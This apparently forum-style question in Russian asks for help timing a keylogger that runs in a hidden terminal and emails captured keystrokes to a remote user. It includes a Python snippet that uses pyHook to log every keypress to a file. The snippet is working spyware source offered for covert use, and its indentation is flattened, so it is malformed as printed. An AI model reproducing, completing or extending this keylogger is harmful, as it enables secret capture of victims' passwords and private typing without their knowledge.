Итак, я пытаюсь создать кейлоггер, который отправляет электронное письмо после того, как кейлоггер завершил регистрацию. У меня есть программа сервер / клиент, которая позволяет серверу / хосту отправлять данные на скрытый терминал и отправлять нажатия клавиш обратно по электронной почте пользователя, которая также вводится хостом. Эти детали не очень важны, но у меня есть фрагмент кода, с которым мне нужна помощь. Я хочу, чтобы это прекратило регистрировать по прошествии определенного времени, которое также определяется хостом.
Мой код выглядит следующим образом:
while time.time() < t_end:
def OnKeyboardEvent(event):
logging.basicConfig(filename=file, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()